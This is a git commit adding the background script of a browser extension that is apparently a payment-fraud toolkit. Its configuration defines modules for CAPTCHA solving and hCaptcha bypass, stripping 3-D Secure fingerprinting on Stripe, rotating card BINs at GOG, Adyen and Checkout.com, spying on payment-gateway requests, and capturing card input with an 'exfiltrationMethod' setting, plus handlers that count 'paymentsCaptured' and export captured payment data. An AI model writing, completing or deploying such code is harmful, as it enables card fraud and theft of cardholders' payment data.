完成扩展
This commit is contained in:
345
extension/background/background.js
Normal file
345
extension/background/background.js
Normal file
@@ -0,0 +1,345 @@
|
||||
/**
|
||||
* Background Service Worker (Manifest V3) / Background Script (Manifest V2)
|
||||
* Handles storage initialization, message passing, and event logging
|
||||
*/
|
||||
|
||||
// Debug mode flag (set to true to enable verbose logging)
|
||||
const DEBUG = true;
|
||||
|
||||
function debugLog(...args) {
|
||||
if (DEBUG) {
|
||||
console.log('[Background DEBUG]', new Date().toISOString(), ...args);
|
||||
}
|
||||
}
|
||||
|
||||
// Default configuration schema
|
||||
const DEFAULT_CONFIG = {
|
||||
modules: {
|
||||
captchaSolver: {
|
||||
enabled: false,
|
||||
config: {
|
||||
debug: false,
|
||||
autoSolve: true,
|
||||
solveDelay: 800,
|
||||
maxRetries: 3,
|
||||
apiKey: '',
|
||||
apiService: 'capsolver',
|
||||
useAPIFallback: false,
|
||||
apiTimeout: 120000,
|
||||
simulateHumanBehavior: true,
|
||||
observerEnabled: true,
|
||||
scanInterval: 2000
|
||||
}
|
||||
},
|
||||
hcaptchaBypass: {
|
||||
enabled: false,
|
||||
config: {
|
||||
enabled: true,
|
||||
autoClick: true,
|
||||
clickDelay: 1000,
|
||||
maxAttempts: 5,
|
||||
debug: false
|
||||
}
|
||||
},
|
||||
threeDSecure: {
|
||||
enabled: false,
|
||||
config: {
|
||||
enabled: true,
|
||||
debug: false,
|
||||
targetDomains: ['stripe.com', 'stripejs.com'],
|
||||
removeFingerprint: true,
|
||||
setFrictionless: true
|
||||
}
|
||||
},
|
||||
gogPayment: {
|
||||
enabled: false,
|
||||
config: {
|
||||
enabled: true,
|
||||
debug: false,
|
||||
bins: ['424242', '411111', '378282'],
|
||||
autoRotateBIN: true,
|
||||
removeCVC: false,
|
||||
targetDomains: ['gog.com', 'adyen.com', 'checkout.com']
|
||||
}
|
||||
},
|
||||
autoFill: {
|
||||
enabled: false,
|
||||
config: {
|
||||
enabled: true,
|
||||
debug: false,
|
||||
observerEnabled: true,
|
||||
debounceDelay: 500,
|
||||
fillDelay: 300,
|
||||
defaultCountry: 'US'
|
||||
}
|
||||
},
|
||||
fetchSpy: {
|
||||
enabled: false,
|
||||
config: {
|
||||
enabled: true,
|
||||
debug: false,
|
||||
logRequests: true,
|
||||
maxLogSize: 100,
|
||||
targetGateways: ['stripe', 'adyen', 'paypal', 'checkout', 'gog', 'braintree']
|
||||
}
|
||||
},
|
||||
paymentHandler: {
|
||||
enabled: false,
|
||||
config: {
|
||||
enabled: true,
|
||||
debug: false,
|
||||
monitorNetworkRequests: true,
|
||||
monitorInputFields: true,
|
||||
validateCards: true,
|
||||
exfiltrationMethod: 'localStorage'
|
||||
}
|
||||
}
|
||||
},
|
||||
globalSettings: {
|
||||
debugMode: false,
|
||||
autoCleanup: true,
|
||||
masterEnabled: false
|
||||
},
|
||||
apiKeys: {
|
||||
capsolver: '',
|
||||
twocaptcha: '',
|
||||
nopecha: '',
|
||||
nocaptchaai: ''
|
||||
}
|
||||
};
|
||||
|
||||
// Initialize storage on installation
|
||||
chrome.runtime.onInstalled.addListener(async () => {
|
||||
console.log('[Background] Extension installed, initializing storage...');
|
||||
debugLog('onInstalled event triggered');
|
||||
|
||||
// Get existing storage
|
||||
const existing = await chrome.storage.sync.get(null);
|
||||
debugLog('Existing storage:', existing);
|
||||
|
||||
// Merge with defaults (don't overwrite existing config)
|
||||
const config = {
|
||||
...DEFAULT_CONFIG,
|
||||
...existing,
|
||||
modules: {
|
||||
...DEFAULT_CONFIG.modules,
|
||||
...existing.modules
|
||||
},
|
||||
globalSettings: {
|
||||
...DEFAULT_CONFIG.globalSettings,
|
||||
...existing.globalSettings
|
||||
},
|
||||
apiKeys: {
|
||||
...DEFAULT_CONFIG.apiKeys,
|
||||
...existing.apiKeys
|
||||
}
|
||||
};
|
||||
|
||||
debugLog('Merged config to be saved:', config);
|
||||
await chrome.storage.sync.set(config);
|
||||
|
||||
// Verify the save
|
||||
const verification = await chrome.storage.sync.get(null);
|
||||
debugLog('Storage after initialization:', verification);
|
||||
console.log('[Background] Storage initialized:', config);
|
||||
});
|
||||
|
||||
// Listen for messages from content scripts and popup
|
||||
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
|
||||
console.log('[Background] Received message:', message);
|
||||
debugLog('Message details:', { message, sender: sender.tab?.id || 'popup' });
|
||||
|
||||
switch (message.type) {
|
||||
case 'MODULE_EVENT':
|
||||
debugLog('Handling MODULE_EVENT');
|
||||
handleModuleEvent(message.payload);
|
||||
sendResponse({ success: true });
|
||||
break;
|
||||
|
||||
case 'GET_CONFIG':
|
||||
debugLog('Handling GET_CONFIG');
|
||||
chrome.storage.sync.get(null).then(config => {
|
||||
debugLog('Sending config:', config);
|
||||
sendResponse({ success: true, config });
|
||||
});
|
||||
return true; // Keep channel open for async response
|
||||
|
||||
case 'UPDATE_CONFIG':
|
||||
debugLog('Handling UPDATE_CONFIG', message.config);
|
||||
chrome.storage.sync.set(message.config).then(() => {
|
||||
debugLog('Config updated successfully');
|
||||
// Verify the update
|
||||
chrome.storage.sync.get(null).then(verification => {
|
||||
debugLog('Storage after UPDATE_CONFIG:', verification);
|
||||
});
|
||||
sendResponse({ success: true });
|
||||
}).catch(error => {
|
||||
debugLog('Error updating config:', error);
|
||||
sendResponse({ success: false, error: error.message });
|
||||
});
|
||||
return true;
|
||||
|
||||
case 'TOGGLE_MODULE':
|
||||
debugLog('Handling TOGGLE_MODULE', { moduleName: message.moduleName, enabled: message.enabled });
|
||||
toggleModule(message.moduleName, message.enabled).then(() => {
|
||||
debugLog('Module toggled successfully');
|
||||
sendResponse({ success: true });
|
||||
}).catch(error => {
|
||||
debugLog('Error toggling module:', error);
|
||||
sendResponse({ success: false, error: error.message });
|
||||
});
|
||||
return true;
|
||||
|
||||
case 'TOGGLE_MASTER':
|
||||
debugLog('Handling TOGGLE_MASTER', { enabled: message.enabled });
|
||||
toggleMaster(message.enabled).then(() => {
|
||||
debugLog('Master switch toggled successfully');
|
||||
sendResponse({ success: true });
|
||||
}).catch(error => {
|
||||
debugLog('Error toggling master:', error);
|
||||
sendResponse({ success: false, error: error.message });
|
||||
});
|
||||
return true;
|
||||
|
||||
case 'GET_STATS':
|
||||
debugLog('Handling GET_STATS');
|
||||
getStats().then(stats => {
|
||||
debugLog('Sending stats:', stats);
|
||||
sendResponse({ success: true, stats });
|
||||
});
|
||||
return true;
|
||||
|
||||
case 'EXPORT_DATA':
|
||||
debugLog('Handling EXPORT_DATA');
|
||||
exportCapturedData().then(data => {
|
||||
sendResponse({ success: true, data });
|
||||
});
|
||||
return true;
|
||||
|
||||
case 'CLEAR_DATA':
|
||||
debugLog('Handling CLEAR_DATA');
|
||||
clearCapturedData().then(() => {
|
||||
sendResponse({ success: true });
|
||||
});
|
||||
return true;
|
||||
|
||||
default:
|
||||
debugLog('Unknown message type:', message.type);
|
||||
sendResponse({ success: false, error: 'Unknown message type' });
|
||||
}
|
||||
});
|
||||
|
||||
// Handle module events (logging)
|
||||
function handleModuleEvent(event) {
|
||||
console.log('[Background] Module event:', event);
|
||||
|
||||
// Update stats based on event type
|
||||
if (event.type === 'CAPTCHA_SOLVED') {
|
||||
incrementStat('captchasSolved');
|
||||
} else if (event.type === 'CARD_GENERATED') {
|
||||
incrementStat('cardsGenerated');
|
||||
} else if (event.type === 'FORM_FILLED') {
|
||||
incrementStat('formsFilled');
|
||||
} else if (event.type === 'PAYMENT_CAPTURED') {
|
||||
incrementStat('paymentsCaptured');
|
||||
}
|
||||
}
|
||||
|
||||
// Toggle individual module
|
||||
async function toggleModule(moduleName, enabled) {
|
||||
debugLog(`toggleModule called: ${moduleName} = ${enabled}`);
|
||||
const config = await chrome.storage.sync.get(['modules']);
|
||||
debugLog('Current modules config before toggle:', config.modules);
|
||||
|
||||
config.modules[moduleName].enabled = enabled;
|
||||
debugLog('Updated modules config:', config.modules);
|
||||
|
||||
await chrome.storage.sync.set(config);
|
||||
|
||||
// Verify the save
|
||||
const verification = await chrome.storage.sync.get(['modules']);
|
||||
debugLog('Modules after save:', verification.modules);
|
||||
|
||||
console.log(`[Background] Module ${moduleName} ${enabled ? 'enabled' : 'disabled'}`);
|
||||
}
|
||||
|
||||
// Toggle master switch (enables/disables all modules)
|
||||
async function toggleMaster(enabled) {
|
||||
debugLog(`toggleMaster called: ${enabled}`);
|
||||
const config = await chrome.storage.sync.get(['modules', 'globalSettings']);
|
||||
debugLog('Current config before master toggle:', config);
|
||||
|
||||
config.globalSettings.masterEnabled = enabled;
|
||||
|
||||
// Update all modules
|
||||
for (const moduleName in config.modules) {
|
||||
config.modules[moduleName].enabled = enabled;
|
||||
}
|
||||
|
||||
debugLog('Updated config with all modules:', config);
|
||||
await chrome.storage.sync.set(config);
|
||||
|
||||
// Verify the save
|
||||
const verification = await chrome.storage.sync.get(['modules', 'globalSettings']);
|
||||
debugLog('Config after master toggle:', verification);
|
||||
|
||||
console.log(`[Background] Master switch ${enabled ? 'enabled' : 'disabled'}`);
|
||||
}
|
||||
|
||||
// Get statistics
|
||||
async function getStats() {
|
||||
debugLog('getStats called');
|
||||
const result = await chrome.storage.local.get(['stats']);
|
||||
const stats = result.stats || {};
|
||||
debugLog('Retrieved stats:', stats);
|
||||
|
||||
return {
|
||||
captchasSolved: stats.captchasSolved || 0,
|
||||
cardsGenerated: stats.cardsGenerated || 0,
|
||||
formsFilled: stats.formsFilled || 0,
|
||||
paymentsCaptured: stats.paymentsCaptured || 0
|
||||
};
|
||||
}
|
||||
|
||||
// Increment stat counter
|
||||
async function incrementStat(statName) {
|
||||
const result = await chrome.storage.local.get(['stats']);
|
||||
const stats = result.stats || {};
|
||||
stats[statName] = (stats[statName] || 0) + 1;
|
||||
await chrome.storage.local.set({ stats });
|
||||
}
|
||||
|
||||
// Export captured payment data
|
||||
async function exportCapturedData() {
|
||||
const result = await chrome.storage.local.get(['capturedData']);
|
||||
return result.capturedData || [];
|
||||
}
|
||||
|
||||
// Clear captured data
|
||||
async function clearCapturedData() {
|
||||
await chrome.storage.local.remove(['capturedData']);
|
||||
console.log('[Background] Captured data cleared');
|
||||
}
|
||||
|
||||
// Listen for storage changes and broadcast to all tabs
|
||||
chrome.storage.onChanged.addListener((changes, area) => {
|
||||
console.log('[Background] Storage changed:', changes, area);
|
||||
debugLog('Storage change details:', { changes, area, timestamp: Date.now() });
|
||||
|
||||
// Notify all tabs about config changes
|
||||
chrome.tabs.query({}, (tabs) => {
|
||||
debugLog(`Broadcasting config change to ${tabs.length} tabs`);
|
||||
tabs.forEach(tab => {
|
||||
chrome.tabs.sendMessage(tab.id, {
|
||||
type: 'CONFIG_CHANGED',
|
||||
changes
|
||||
}).catch((error) => {
|
||||
// Ignore errors for tabs that don't have content script
|
||||
debugLog(`Failed to send to tab ${tab.id}:`, error.message);
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
console.log('[Background] Service worker initialized');
|
||||
debugLog('=== Background script fully loaded ===');
|
||||
Reference in New Issue
Block a user